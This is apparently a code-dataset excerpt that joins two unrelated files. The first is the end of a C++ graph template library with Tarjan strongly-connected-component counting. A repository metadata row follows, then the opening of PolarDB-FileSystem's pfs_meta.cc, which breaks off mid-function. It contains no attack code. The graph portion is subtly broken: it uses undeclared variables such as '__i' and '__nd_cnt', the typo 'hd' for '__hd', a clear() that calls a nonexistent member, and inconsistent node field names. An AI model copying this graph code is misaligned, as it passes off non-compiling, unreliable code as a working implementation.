__sta.pop();
__in_stack[__s] = false;
} while (__dfn[__s] != __low[__s]);
}
}
}
template<typename val_t> class dynamic_graph<directed, val_t>
{
public:
typedef typename node_chain<__oitl_builtin::__node_t<val_t> >::iterator iterator;
private:
std::vector<node_chain<__oitl_builtin::__node_t<val_t> > > __g;
public:
dynamic_graph() { }
dynamic_graph(int __nd_cnt) { __g.resize(__nd_cnt); }
dynamic_graph(const dynamic_graph<directed, val_t>& __dg)
{
__g.assign(__dg.__g.begin(), __dg.__g.end());
}
~dynamic_graph() { }
void clear() { __g.clear(); }
void add_edge(int __s, int __t, val_t __v)
{
__oitl_array_assert(__g.size(), __s);
__oitl_array_assert(__g.size(), __t);
__g[__s].push_back(__oitl_builtin::__node_t<val_t>(__t, __v));
}
void add_vertex() { __g.push_back(node_chain<__oitl_builtin::__node_t<val_t> >()); }
void set_vertex(int __nd_cnt) { __g.resize(__nd_cnt); }
__id_type vertex_cnt() const { return __g.size(); }
iterator begin(int __node_id) const
{
__oitl_array_assert(__g.size(), __node_id);
return __g[__node_id].begin();
}
iterator end(int __node_id) const
{
__oitl_array_assert(__g.size(), __node_id);
return __g[__node_id].end();
}
bool is_connect(int __s, int __t) const
{
std::vector<bool> __vis(__g.size(), false);
__vis[__s] = true;
return __oitl_builtin::__dfs(this, __s, __t, __vis);
}
bool is_strongly_connect(int __s, int __t) const
{
return is_connect(__s, __t) && is_connect(__t, __s);
}
int scc_count() const
{
int __ans = 0, __ind;
std::vector<int> __dfn(__g.size(), -1), __low(__g.size(), -1);
std::vector<bool> __in_stack(__g.size(), false);
std::stack<int> __sta;
for (std::vector<int>::iterator __it = __dfn.begin()
; __it != __dfn.end(); __it++)
if (*__it == -1)
{
__ind = 0;
__oitl_builtin::__tarjan(this, __it - __dfn.begin(), __ind, __ans
, __dfn, __low, __in_stack, __sta);
}
return __ans;
}
bool is_connect() const { return scc_count() == 1; }
};
template<int n, typename val_t> class graph<n, directed, val_t>
{
public:
typedef typename node_chain<__oitl_builtin::__node_t<val_t> >::iterator iterator;
private:
node_chain<__oitl_builtin::__node_t<val_t> > __g[n];
public:
graph() { }
graph(const graph<n, directed, val_t>& __og)
{
for (int __i = 0; __i < n; ++__i)
__g[__i] = __og.__g[__i];
}
~graph() { }
void clear()
{
for (int __i = 0; __i < n; ++__i)
__g[__i].clear();
}
void add_edge(int __s, int __t, val_t __v)
{
__oitl_array_assert(n, __s);
__oitl_array_assert(n, __t);
__g[__s].push_back(__oitl_builtin::__node_t<val_t>(__t, __v));
}
iterator begin(int __node_id) const
{
__oitl_array_assert(n, __node_id);
return __g[__node_id].begin();
}
iterator end(int __node_id) const
{
__oitl_array_assert(n, __node_id);
return __g[__node_id].end();
}
bool is_connect(int __s, int __t) const
{
std::vector<bool> __vis(n, false);
__vis[__s] = true;
return __oitl_builtin::__dfs(this, __s, __t, __vis);
}
bool is_strongly_connect(int __s, int __t) const
{
return is_connect(__s, __t) && is_connect(__t, __s);
}
int scc_count() const
{
int __ans = 0, __ind;
std::vector<int> __dfn(n, -1), __low(n, -1);
std::vector<bool> __in_stack(n, false);
std::stack<int> __sta;
for (std::vector<int>::iterator __it = __dfn.begin()
; __it != __dfn.end(); __it++)
if (*__it == -1)
{
__ind = 0;
__oitl_builtin::__tarjan(this, __it - __dfn.begin(), __ind, __ans
, __dfn, __low, __in_stack, __sta);
}
return __ans;
}
bool is_connect() const { return scc_count() == 1; }
};
template<int n, int m, typename val_t> class static_graph<n, m, directed, val_t>
{
private:
int __hd[n], __nxt[m], __edg_cnt;
__oitl_builtin::__node_t<val_t> __val[m];
public:
class iterator
{
private:
int __pos;
public:
iterator(int __p = 0) : __pos(__p) { }
iterator(const iterator &__it) : __pos(__it.__pos) { }
iterator operator++() { ++__pos; return *this; }
iterator operator--() { --__pos; return *this; }
iterator operator++(int)
{
iterator __self = *this;
++__pos;
return __self;
}
iterator operator--(int)
{
iterator __self = *this;
--__pos;
return __self;
}
__oitl_builtin::__node_t<val_t>* operator->() const { return &__val[__pos]; }
};
static_graph() : __edg_cnt(0)
{
for (__i = 0; __i < n; ++__i)
__hd[__i] = -__i - 1;
}
static_graph(const static_graph<n, m, directed, val_t>& __sg)
{
__edg_cnt = __sg.__edg_cnt;
for (int __i = 0; __i < n; ++__i)
__hd[__i] = __sg.__hd[__i];
for (int __i = 0; __i < __edg_cnt; ++__i)
{
__nxt[__i] = __sg.__nxt[__i];
__val[__i] = __sg.__val[__i];
}
}
~static_graph() { }
void clear()
{
__edg_cnt = 0;
memset(__hd, -1, sizeof(__hd));
}
void add_edge(int __s, int __t, val_t __v)
{
__oitl_array_assert(n, __s);
__oitl_array_assert(n, __t);
__oitl_assert(__edg_cnt < m, "No more edges can added.");
__val[__edg_cnt].__v = __v, __val[__edg_cnt].__d = __t;
__nxt[__edg_cnt] = __hd[__s], __hd[__s] = __edg_cnt;
++__edg_cnt;
}
iterator begin(int __node_id) const
{
__oitl_array_assert(n, __node_id);
return iterator(__hd[__node_id]);
}
iterator end(int __node_id)
{
__oitl_array_assert(n, __node_id);
return iterator(-__node_id - 1);
}
bool is_connect(int __s, int __t) const
{
std::vector<bool> __vis(n, false);
__vis[__s] = true;
return __oitl_builtin::__dfs(this, __s, __t, __vis);
}
bool is_strongly_connect(int __s, int __t) const
{
return is_connect(__s, __t) && is_connect(__t, __s);
}
int scc_count() const
{
int __ans = 0, __ind;
std::vector<int> __dfn(n, -1), __low(n, -1);
std::vector<bool> __in_stack(n, false);
std::stack<int> __sta;
for (std::vector<int>::iterator __it = __dfn.begin()
; __it != __dfn.end(); ++__it)
if (*__it == -1)
{
__ind = 0;
__oitl_builtin::__tarjan(this, __it - __dfn.begin(), __ind, __ans
, __dfn, __low, __in_stack, __sta);
}
return __ans;
}
bool is_connect() const { return scc_count() == 1; }
};
// Undirected Graphs
template<typename val_t> class dynamic_graph<undirected, val_t>
{
public:
typedef typename node_chain<__oitl_builtin::__node_t<val_t> >::iterator iterator;
private:
std::vector<node_chain<__oitl_builtin::__node_t<val_t> > > __g;
public:
dynamic_graph() { }
dynamic_graph(int __nd_cnt) { __g.resize(__nd_cnt); }
dynamic_graph(const dynamic_graph<directed, val_t>& __dg)
{
__g.assign(__dg.__g.begin(), __dg.__g.end());
}
~dynamic_graph() { }
void clear() { __g.clear(); }
void add_edge(int __s, int __t, val_t __v)
{
__oitl_array_assert(__g.size(), __s);
__oitl_array_assert(__g.size(), __t);
__g[__s].push_back(__oitl_builtin::__node_t<val_t>(__t, __v));
__g[__t].push_back(__oitl_builtin::__node_t<val_t>(__s, __v));
}
void add_vertex() { __g.push_back(node_chain<__oitl_builtin::__node_t<val_t> >()); }
void set_vertex(int __nd_cnt) { __g.resize(__nd_cnt); }
__id_type vertex_cnt() const { return __g.size(); }
iterator begin(int __node_id)
{
__oitl_array_assert(__g.size(), __node_id);
return __g[__node_id].begin();
}
iterator end(int __node_id)
{
__oitl_array_assert(__g.size(), __node_id);
return __g[__node_id].end();
}
bool is_connect(int __s, int __t) const
{
std::vector<bool> __vis(__g.size(), false);
__vis[__s] = true;
return __oitl_builtin::__dfs(this, __s, __t, __vis);
}
int scc_count() const
{
int __ans = 0;
std::vector<bool> __vis(__g.size(), false);
for (int __i = 0; __i < __nd_cnt; ++__i)
if (!__vis[__i])
{
__vis[__i] = true;
__dfs2(this, __i, __vis);
++__ans;
}
return __ans;
}
bool is_connect() const { return scc_count() == 1; }
};
template<int n, typename val_t> class graph<n, undirected, val_t>
{
public:
typedef typename node_chain<__oitl_builtin::__node_t<val_t> >::iterator iterator;
private:
node_chain<__oitl_builtin::__node_t<val_t> > __g[n];
public:
graph() { }
graph(const graph<directed, val_t>& __og)
{
for (int __i = 0; __i < n; ++__i)
__g[__i] = __og.__g[__i];
}
~graph() { }
void clear()
{
for (int __i = 0; __i < n; ++__i)
__g[__i].clear();
}
void add_edge(int __s, int __t, val_t __v)
{
__oitl_array_assert(n, __s);
__oitl_array_assert(n, __t);
__g[__s].push_back(__oitl_builtin::__node_t<val_t>(__t, __v));
__g[__t].push_back(__oitl_builtin::__node_t<val_t>(__s, __v));
}
iterator begin(int __node_id)
{
__oitl_array_assert(n, __node_id);
return __g[__node_id].begin();
}
iterator end(int __node_id)
{
__oitl_array_assert(n, __node_id);
return __g[__node_id].end();
}
bool is_connect(int __s, int __t) const
{
std::vector<bool> __vis(n, false);
__vis[__s] = true;
return __oitl_builtin::__dfs(this, __s, __t, __vis);
}
int scc_count() const
{
int __ans = 0;
std::vector<bool> __vis(n, false);
for (int __i = 0; __i < __nd_cnt; ++__i)
if (!__vis[__i])
{
__vis[__i] = true;
__oitl_builtin::__dfs2(this, __i, __vis);
++__ans;
}
return __ans;
}
bool is_connect() const { return scc_count() == 1; }
};
template<int n, int m, typename val_t> class static_graph<n, m, undirected, val_t>
{
private:
__id_type __hd[n], __nxt[m<<1], __edg_cnt;
__oitl_builtin::__node_t<val_t> __val[m<<1];
public:
class iterator
{
private:
int __pos;
public:
iterator(int __p = 0) : __pos(__p) { }
iterator(const iterator &__it) : __pos(__it.__pos) { }
iterator operator++() { ++__pos; return *this; }
iterator operator--() { --__pos; return *this; }
iterator operator++(int)
{
iterator __self = *this;
++__pos;
return __self;
}
iterator operator--(int)
{
iterator __self = *this;
--__pos;
return __self;
}
__oitl_builtin::__node_t<val_t>* operator->() const { return &__val[__pos]; }
};
static_graph() : __edg_cnt(0)
{
for (int __i = 0; __i < n; ++__i)
__hd[__i] = -__i - 1;
}
static_graph(const static_graph<n, m, directed, val_t>& __sg)
{
__edg_cnt = __sg.__edg_cnt;
for (int __i = 0; __i < n; ++__i)
__hd[__i] = __sg.__hd[__i];
for (int __i = 0; __i < __edg_cnt; ++__i)
{
__nxt[__i] = __sg.__nxt[__i];
__val[__i] = __sg.__val[__i];
}
}
~static_graph() { }
void clear() { __g.clear(); }
void add_edge(int __s, int __t, val_t __v)
{
__oitl_array_assert(n, __s);
__oitl_array_assert(n, __t);
__val[__edg_cnt].__des = __t, __val[__edg_cnt].__val = __v;
__nxt[__edg_cnt] = __hd[__s], hd[__s] = __edg_cnt;
++__edg_cnt;
__val[__edg_cnt].__des = __s, __val[__edg_cnt].__val = __v;
__nxt[__edg_cnt] = __hd[__t], __hd[__t] = __edg_cnt;
++__edg_cnt;
}
iterator begin(int __node_id)
{
__oitl_array_assert(n, __node_id);
return iterator(__hd[__node_id]);
}
iterator end(int __node_id)
{
__oitl_array_assert(n, __node_id);
return iterator(-__node_id - 1);
}
bool is_connect(int __s, int __t) const
{
std::vector<bool> __vis(__g.size(), false);
__vis[__s] = true;
return __oitl_builtin::__dfs(this, __s, __t, __vis);
}
int cc_count() const
{
int __ans = 0;
std::vector<bool> __vis(__g.size(), false);
for (int __i = 0; __i < __nd_cnt; ++__i)
if (!__vis[__i])
{
__vis[__i] = true;
__dfs2(this, __i, __vis);
++__ans;
}
return __ans;
}
bool is_connect() const { return cc_count() == 1; }
};
}
#endif
| 22.270231 | 91 | 0.588086 | oitl-5ab |
4ed4a3b5230ec41cf4e333dc55bcd9759d04e063 | 39,871 | cc | C++ | src/pfs_core/pfs_meta.cc | qiuyuhang/PolarDB-FileSystem | a18067ef9294c2f509decd80b2b9231c9f950e21 | [
"Apache-2.0"
] | 35 | 2021-11-08T03:24:50.000Z | 2022-03-24T12:39:12.000Z | src/pfs_core/pfs_meta.cc | qiuyuhang/PolarDB-FileSystem | a18067ef9294c2f509decd80b2b9231c9f950e21 | [
"Apache-2.0"
] | 2 | 2021-11-30T02:29:53.000Z | 2022-03-17T06:57:53.000Z | src/pfs_core/pfs_meta.cc | qiuyuhang/PolarDB-FileSystem | a18067ef9294c2f509decd80b2b9231c9f950e21 | [
"Apache-2.0"
] | 18 | 2021-11-08T08:43:06.000Z | 2022-02-28T09:38:09.000Z | /*
* Copyright (c) 2017-2021, Alibaba Group Holding Limited
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <math.h>
#include <search.h>
#include <stddef.h>
#include <sys/param.h>
#include "pfs_meta.h"
#include "pfs_devio.h"
#include "pfs_dir.h"
#include "pfs_inode.h"
#include "pfs_mount.h"
#include "pfs_option.h"
#include "pfs_tls.h"
#include "pfs_tx.h"
#include "pfs_util.h"
#include "pfs_version.h"
#include "pfs_stat.h"
#include "pfs_namecache.h"
#define MAX_NTHRD 64
#define MIN_NTHRD 8
static int64_t loadthread_count = MIN_NTHRD;
PFS_OPTION_REG(loadthread_count, pfs_check_ival_normal);
#define CHECK_META 0
typedef struct metatype {
const char *mt_name;
pfs_metaobj_phy_t *(*mt_alloc) (pfs_mount_t *, int type, pfs_txop_t *);
void (*mt_free)(pfs_mount_t *, int type, pfs_metaobj_phy_t *,
pfs_txop_t *);
void (*mt_redo)(int64_t oid, pfs_mount_t *mnt);
void (*mt_redo_fini)(pfs_tx_t* tx);
void (*mt_undo)(int64_t oid, pfs_mount_t *mnt);
} metatype_t;
enum visit_type {
VISIT_ONE,
VISIT_ALL,
};
typedef struct metaset_visit {
enum visit_type msv_type;
int64_t msv_oid;
void (*msv_func)(void *, pfs_metaobj_phy_t *);
void *msv_data;
} metaset_visit_t;
static void pfs_meta_bd_change_index(pfs_mount_t *mnt, pfs_blktag_phy_t *bt);
static void pfs_metaobj_redo_inode(int64_t ino, pfs_mount_t *mnt);
static void pfs_metaobj_undo_inode(int64_t ino, pfs_mount_t *mnt);
static pfs_metaobj_phy_t *
pfs_metaobj_alloc_blktag(pfs_mount_t *, int, pfs_txop_t *);
static void pfs_metaobj_free_blktag(pfs_mount_t *, int, pfs_metaobj_phy_t *,
pfs_txop_t *);
static void pfs_metaobj_redo_blktag(int64_t btno, pfs_mount_t *mnt);
static void pfs_metaobj_undo_blktag(int64_t btno, pfs_mount_t *mnt);
static void pfs_metaobj_redo_direntry(int64_t mono, pfs_mount_t *mnt);
static void pfs_metaobj_undo_common(int64_t mono, pfs_mount_t *mnt);
static pfs_metaobj_phy_t *
pfs_metaobj_alloc_common(pfs_mount_t *, int, pfs_txop_t *);
static void pfs_metaobj_free_common(pfs_mount_t *, int, pfs_metaobj_phy_t *,
pfs_txop_t *);
static void pfs_metaobj_redo_fini_common(pfs_tx_t*);
static void pfs_metaobj_redo_fini_inode(pfs_tx_t*);
static metatype_t metatypes[] = {
[MT_NONE] = {
.mt_name = "none",
.mt_alloc = NULL,
.mt_free = NULL,
.mt_redo = NULL,
.mt_redo_fini = NULL,
.mt_undo = NULL,
},
[MT_BLKTAG] = {
.mt_name = "blktag",
.mt_alloc = pfs_metaobj_alloc_blktag,
.mt_free = pfs_metaobj_free_blktag,
.mt_redo = pfs_metaobj_redo_blktag,
.mt_redo_fini = pfs_metaobj_redo_fini_common,
.mt_undo = pfs_metaobj_undo_blktag,
},
[MT_DIRENTRY] = {
.mt_name = "direntry",
.mt_alloc = pfs_metaobj_alloc_common,
.mt_free = pfs_metaobj_free_common,
.mt_redo = pfs_metaobj_redo_direntry,
.mt_redo_fini = pfs_metaobj_redo_fini_common,
.mt_undo = pfs_metaobj_undo_common,
},
[MT_INODE] = {
.mt_name = "inode",
.mt_alloc = pfs_metaobj_alloc_common,
.mt_free = pfs_metaobj_free_common,
.mt_redo = pfs_metaobj_redo_inode,
.mt_redo_fini = pfs_metaobj_redo_fini_inode,
.mt_undo = pfs_metaobj_undo_inode,
},
};
void
pfs_meta_lock(pfs_mount_t *mnt)
{
pfs_tx_t *tx;
pfs_tls_t *tls;
if (!pfs_inited(mnt)) {
/*
* It is to lock during mount. It is trivial
* since there is only one thread doing mount.
* Do nothing in this case.
*/
return;
}
tls = pfs_current_tls();
if (tls->tls_meta_locked)
return;
tx = tls->tls_tx;
if (tx && (tx->t_type == TXT_WRITE || tx->t_type == TXT_REPLAY))
MOUNT_META_WRLOCK(mnt);
else
MOUNT_META_RDLOCK(mnt);
tls->tls_meta_locked = true;
}
void
pfs_meta_unlock(pfs_mount_t *mnt)
{
pfs_tls_t *tls = pfs_current_tls();
if (tls->tls_meta_locked) {
tls->tls_meta_locked = false;
rwlock_unlock(&mnt->mnt_meta_rwlock);
}
}
bool
pfs_meta_islocked(pfs_mount_t *mnt)
{
pfs_tls_t *tls = pfs_current_tls();
return tls->tls_meta_locked;
}
#if 0
static bool
metaobj_check(const pfs_metaobj_phy_t *mo)
{
return mo->mo_used > 0;
}
#endif
void
pfs_metaobj_check_crc(pfs_metaobj_phy_t *mo)
{
uint32_t cksum;
/* Skip old version metaobj whose checksum is zero */
if (!mo->mo_checksum)
return;
cksum = crc32c_compute(mo, sizeof(*mo),
offsetof(struct pfs_metaobj_phy, mo_checksum));
if (mo->mo_checksum != cksum) {
pfs_etrace("metaobj %lld (type %d) checksum %u is invalid\n",
(long long)mo->mo_number, mo->mo_type, mo->mo_checksum);
PFS_ASSERT("metaobj crc error" == NULL);
abort();
}
}
void
pfs_metaobj_check_crc_buf(pfs_metaobj_phy_t *mobuf, int nmo)
{
pfs_metaobj_phy_t *mo;
for (mo = mobuf; mo < mobuf + nmo; mo++)
pfs_metaobj_check_crc(mo);
}
static void
pfs_metaobj_init(pfs_metaobj_phy_t *mo, int type)
{
PFS_ASSERT(mo->mo_type == type);
PFS_ASSERT(mo->mo_prev == 0); /* a new meta object should have */
PFS_ASSERT(mo->mo_next == 0); /* no structure info */
PFS_ASSERT(mo->mo_used == 0);
mo->mo_used = 1;
//mo->mo_version = 0; /* XXX: version to be used later */
}
static void
pfs_metaobj_fini(pfs_metaobj_phy_t *mo, int type)
{
PFS_ASSERT(mo->mo_type == type);
PFS_ASSERT(mo->mo_prev == 0); /* a to be freed object should have */
PFS_ASSERT(mo->mo_next == 0); /* no structure info */
PFS_ASSERT(mo->mo_used == 1);
mo->mo_used = 0;
}
static void
pfs_meta_inode_change(pfs_mount_t *mnt, const pfs_inode_phy_t *phyin)
{
pfs_metaobj_phy_t *mo = GETMO(phyin);
pfs_inode_t *in;
in = pfs_get_inode_tx(pfs_tls_get_tx(), mo->mo_number);
if (in == NULL || in->in_stale)
return;
if (in->in_type != PFS_INODET_FILE ||
phyin->in_type != PFS_INODET_FILE) {
pfs_inode_mark_stale(in);
return;
}
pfs_inode_sync_meta(in, phyin);
}
static void
pfs_metaobj_redo_inode(int64_t ino, pfs_mount_t *mnt)
{
/* notify file level to update file index in memory inode */
pfs_inode_phy_t *phyin;
if (pfs_inited(mnt)) {
phyin = pfs_meta_get_inode_flags(mnt, ino, NULL, 0);
pfs_meta_inode_change(mnt, phyin);
}
}
static void
pfs_metaobj_undo_inode(int64_t ino, pfs_mount_t *mnt)
{
/* notify file level to update file index in memory inode */
if (pfs_inited(mnt)) {
/*
* In fact , this case we can use pfs_meta_inode_change as well.
* But to reduce understanding complexity, we still use the
* older interfaces.
*/
pfs_inode_invalidate(ino, mnt);
}
}
static void
pfs_meta_inode_change_findex(const pfs_blktag_phy_t* bt)
{
pfs_metaobj_phy_t *mo = GETMO(bt);
pfs_inode_t *in;
/*
* We do not update the inode index from discard tx.
*/
if (bt->bt_dstatus == BDS_INP ||
(bt->bt_dstatus == BDS_NONE && !mo->mo_used))
return;
in = pfs_get_inode_tx(pfs_tls_get_tx(), bt->bt_ino);
if (in == NULL || in->in_stale)
return;
/*
* Before apply the blktag tx, the inode must be a file once it is
* not stale.
*/
PFS_ASSERT(in->in_type == PFS_INODET_FILE);
pfs_inode_sync_blk_meta(in, bt);
}
static void
pfs_metaobj_redo_blktag(int64_t btno, pfs_mount_t *mnt)
{
#ifdef PFSDEBUG
if (pfs_inited(mnt))
pfs_itrace("redo blk %lu\n", btno);
#endif
pfs_blktag_phy_t *bt;
if (pfs_inited(mnt)) {
bt = pfs_meta_get_blktag_flags(mnt, btno, NULL, 0);
pfs_meta_bd_change_index(mnt, bt);
pfs_meta_inode_change_findex(bt);
}
}
static void
pfs_metaobj_undo_blktag(int64_t btno, pfs_mount_t *mnt)
{
#ifdef PFSDEBUG
if (pfs_inited(mnt))
pfs_itrace("undo blk %lu\n", btno);
#endif
pfs_blktag_phy_t *bt;
if (pfs_inited(mnt)) {
bt = pfs_meta_get_blktag_flags(mnt, btno, NULL, 0);
pfs_meta_bd_change_index(mnt, bt);
}
}
/* ARGSUSED */
static void
pfs_metaobj_use_one(pfs_anode_t *an, uint64_t oid, void *data)
{
pfs_anode_nfree_inc(an, oid, -1);
}
static pfs_metaobj_phy_t *
pfs_metaobj_alloc_blktag(pfs_mount_t *mnt, int mtype, pfs_txop_t *top)
{
pfs_anode_t *anroot = &mnt->mnt_anode[mtype];
pfs_metaobj_phy_t *mo;
pfs_blktag_phy_t *bt;
uint64_t val;
int err;
bool reused;
if ((val = pfs_bd_get(mnt, BDS_READY)) != (uint64_t)-1) {
pfs_bd_del(mnt, BDS_READY, val);
pfs_anode_visit(anroot, val, pfs_metaobj_use_one, NULL);
reused = true;
} else if ((err = pfs_anode_alloc(anroot, &val)) == 0)
reused = false;
else
return NULL;
mo = (pfs_metaobj_phy_t *)pfs_anode_get(anroot, val, top);
pfs_metaobj_init(mo, mtype);
bt = MO2BT(mo);
#ifdef PFSDEBUG
pfs_itrace("%s blk %lu\n", reused ? "realloc" : "alloc", val);
#endif
if (reused)
PFS_ASSERT(bt->bt_dstatus == BDS_READY);
else
PFS_ASSERT(bt->bt_dstatus != BDS_INP);
PFS_ASSERT(bt->bt_holeoff == 0);
PFS_ASSERT(bt->bt_holelen == 0);
bt->bt_dstatus = BDS_NONE;
bt->bt_ndiscard = 0;
bt->bt_holeoff = 0;
bt->bt_holelen = pfs_version_has_features(mnt, PFS_FEATURE_BLKHOLE) ?
mnt->mnt_blksize : 0;
return mo;
}
static void
pfs_metaobj_free_blktag(pfs_mount_t *mnt, int mtype, pfs_metaobj_phy_t *mo,
pfs_txop_t *top)
{
pfs_anode_t *anroot = &mnt->mnt_anode[mtype];
pfs_blktag_phy_t *bt;
#ifdef PFSDEBUG
pfs_itrace("free blk %lu\n", mo->mo_number);
#endif
bt = MO2BT(mo);
PFS_ASSERT(bt->bt_ndiscard == 0);
PFS_ASSERT(bt->bt_dstatus == BDS_NONE);
bt->bt_dstatus = BDS_READY;
pfs_bd_add(mnt, BDS_READY, mo->mo_number);
bt->bt_holeoff = 0;
bt->bt_holelen = 0;
pfs_metaobj_fini(mo, mtype);
pfs_anode_free(anroot, mo->mo_number);
}
static void
pfs_metaobj_redo_fini_inode(pfs_tx_t* tx)
{
pfs_put_inode_tx_all(tx);
}
static pfs_metaobj_phy_t *
pfs_metaobj_alloc_common(pfs_mount_t *mnt, int mtype, pfs_txop_t *top)
{
pfs_anode_t *anroot = &mnt->mnt_anode[mtype];
pfs_metaobj_phy_t *mo;
int err;
uint64_t val;
err = pfs_anode_alloc(anroot, &val);
if (err == -ENOSPC)
return NULL;
mo = (pfs_metaobj_phy_t *)pfs_anode_get(anroot, val, top);
pfs_metaobj_init(mo, mtype);
return mo;
}
static void
pfs_metaobj_free_common(pfs_mount_t *mnt, int mtype, pfs_metaobj_phy_t *mo,
pfs_txop_t *top)
{
pfs_anode_t *anroot = &mnt->mnt_anode[mtype];
pfs_metaobj_fini(mo, mtype);
pfs_anode_free(anroot, mo->mo_number);
}
static void
pfs_metaobj_redo_direntry(int64_t mono, pfs_mount_t *mnt)
{
pfs_namecache_delete_by_deno(mnt, mono);
}
static void
pfs_metaobj_undo_common(int64_t mono, pfs_mount_t *mnt)
{
}
static void
pfs_metaobj_redo_fini_common(pfs_tx_t*)
{
}
static inline pfs_metaobj_phy_t *
pfs_metaset_getobject(pfs_metaset_t *ms, uint64_t oid, pfs_txop_t *top,
void **bufp)
{
uint64_t si, oi, sectsize;
pfs_metaobj_phy_t* result = NULL;
si = oid >> ms->ms_opps;
oi = oid - (si << ms->ms_opps);
sectsize = ms->ms_objsize << ms->ms_opps;
PFS_ASSERT(si < ms->ms_nsect && oi < (1ULL << ms->ms_opps));
if (bufp)
*bufp = ms->ms_objbuf[si];
if (top)
result = pfs_txop_init(top, ms->ms_objbuf[si], oi,
ms->ms_sectbda + si * sectsize);
else
result = pfs_tx_get_mo(pfs_tls_get_tx(),
&ms->ms_objbuf[si][oi]);
return result;
}
static bool
pfs_metaset_alloc(pfs_anode_t *an, uint64_t oid)
{
pfs_metaset_t *ms = (pfs_metaset_t *)an->an_host;
pfs_metaobj_phy_t *mo;
mo = pfs_metaset_getobject(ms, oid, NULL, NULL);
if (mo->mo_used)
return false;
if (mo->mo_type == MT_BLKTAG)
return (MO2BT(mo)->bt_dstatus != BDS_INP);
return true;
}
static void
pfs_metaset_free(pfs_anode_t *an, uint64_t oid)
{
/**
* In local tx, visiting the meta object directly via
* "pfs_metaset_getobject" is dangerous(risk of visiting old version).
* So here we disable the following check logic.
*/
#if 0
pfs_metaset_t *ms = (pfs_metaset_t *)an->an_host;
pfs_metaobj_phy_t *mo;
mo = pfs_metaset_getobject(ms, oid, NULL, NULL);
if (mo->mo_type != ms->ms_type)
printf("internal error: mo type mismatch\n");
#endif
}
/* oid is a relative object id in metaset, which starts from 0 */
static void *
pfs_metaset_get(pfs_anode_t *an, uint64_t oid, pfs_txop_t *top)
{
pfs_metaset_t *ms = (pfs_metaset_t *)an->an_host;
pfs_metaobj_phy_t *mo;
mo = pfs_metaset_getobject(ms, oid, top, NULL);
return mo;
}
static int
pfs_metaset_undo(pfs_anode_t *an, uint64_t oid, pfs_txop_t *top)
{
pfs_metaset_t *ms = (pfs_metaset_t *)an->an_host;
pfs_mount_t *mnt = ms->ms_chunk->ck_mnt;
pfs_metaobj_phy_t *mo;
int nfree_delta;
mo = pfs_metaset_getobject(ms, oid, NULL, NULL);
nfree_delta = pfs_txop_undo(top, mo);
metatypes[mo->mo_type].mt_undo(mo->mo_number, mnt);
return nfree_delta;
}
static int
pfs_metaset_redo(pfs_anode_t *an, uint64_t oid, pfs_txop_t *top)
{
pfs_metaset_t *ms = (pfs_metaset_t *)an->an_host;
pfs_mount_t *mnt = ms->ms_chunk->ck_mnt;
pfs_metaobj_phy_t *mo;
int nfree_delta;
void *sectbuf = NULL;
mo = pfs_metaset_getobject(ms, oid, NULL, §buf);
nfree_delta = pfs_txop_redo(top, mo, sectbuf);
metatypes[mo->mo_type].mt_redo(mo->mo_number, mnt);
return nfree_delta;
}
void
pfs_metaset_used_oid(pfs_anode_t *an, uint64_t oidzero, void *data)
{
pfs_metaset_t *ms = (pfs_metaset_t *)an->an_host;
oidvect_t *ov = (oidvect_t *)data;
uint64_t si, oi;
uint64_t oid;
pfs_mount_t* mnt = NULL;
int holeoff = INT_MAX;
int err;
if (an->an_nchild != 0)
return; /* skip internal node */
mnt = ms->ms_chunk->ck_mnt;
for (si = 0; si < ms->ms_nsect; si++) {
for (oi = 0; oi < (1ULL << ms->ms_opps); oi++) {
if (ms->ms_objbuf[si][oi].mo_used) {
oid = (si << ms->ms_opps) + oi;
if ((ms->ms_type == MT_BLKTAG) &&
pfs_version_has_features(mnt,
PFS_FEATURE_BLKHOLE)) {
pfs_blktag_phy_t *bt =
MO2BT(&ms->ms_objbuf[si][oi]);
holeoff = bt->bt_holelen > 0 ?
bt->bt_holeoff : INT_MAX;
}
err = oidvect_push(ov, oid, holeoff);
PFS_ASSERT(err == 0);
}
}
}
}
static void
pfs_metaset_init_anode(pfs_metaset *ms, uint64_t ckno)
{
uint64_t si, oi;
int next = -1;
pfs_anode_t *an;
an = &ms->ms_anode;
memset(an, 0, sizeof(*an));
an->an_host = ms;
an->an_allocfunc = pfs_metaset_alloc;
an->an_freefunc = pfs_metaset_free;
an->an_getfunc = pfs_metaset_get;
an->an_undofunc = pfs_metaset_undo;
an->an_redofunc = pfs_metaset_redo;
an->an_id = ckno;
an->an_shift = ms->ms_opps + ffs(roundup_power2(ms->ms_nsect)) - 1;
memset(&an->an_free_bmp, 0, sizeof(an->an_free_bmp));
for (si = 0; si < ms->ms_nsect; si++) {
for (oi = 0; oi < (1ULL << ms->ms_opps); oi++) {
an->an_nall++;
if (ms->ms_objbuf[si][oi].mo_used == 0) {
pfs_anode_nfree_inc(an,
(si << ms->ms_opps) + oi, 1);
/* save the val for the first free blktag */
if (next < 0)
next = (si << ms->ms_opps) + oi;
}
}
}
if (next >= 0)
an->an_next = next;
}
#if CHECK_META
static void
metaset_check_nfree(pfs_anode_t *an, void *data)
{
pfs_metaset_t *ms = (pfs_metaset_t *)an->an_host;
uint64_t si, oi;
int nfree;
nfree = 0;
for (si = 0; si < ms->ms_nsect; si++) {
for (oi = 0; oi < (1ULL << ms->ms_opps); oi++) {
if (ms->ms_objbuf[si][oi].mo_used == 0)
nfree++;
}
}
PFS_ASSERT(nfree == an->an_nfree);
*(int *)data += nfree;
}
#endif // CHECK_META
static void
pfs_metaset_check_crc(pfs_metaset_t *ms)
{
int i;
for (i = 0; i < (int)ms->ms_nsect; i++)
pfs_metaobj_check_crc_buf(ms->ms_objbuf[i], 1 << ms->ms_opps);
}
static int
pfs_metaset_bd_build_index(pfs_anode_t *an, void *data)
{
pfs_mount_t *mnt = (pfs_mount_t *)data;
pfs_metaset_t *ms;
pfs_metaobj_phy_t *mo;
uint64_t si, oi;
uint32_t status;
if (an->an_nchild)
return 0;
ms = (pfs_metaset_t *)an->an_host;
for (si = 0; si < ms->ms_nsect; si++) {
for (oi = 0; oi < (1ULL << ms->ms_opps); oi++) {
mo = &ms->ms_objbuf[si][oi];
if (mo->mo_used)
continue;
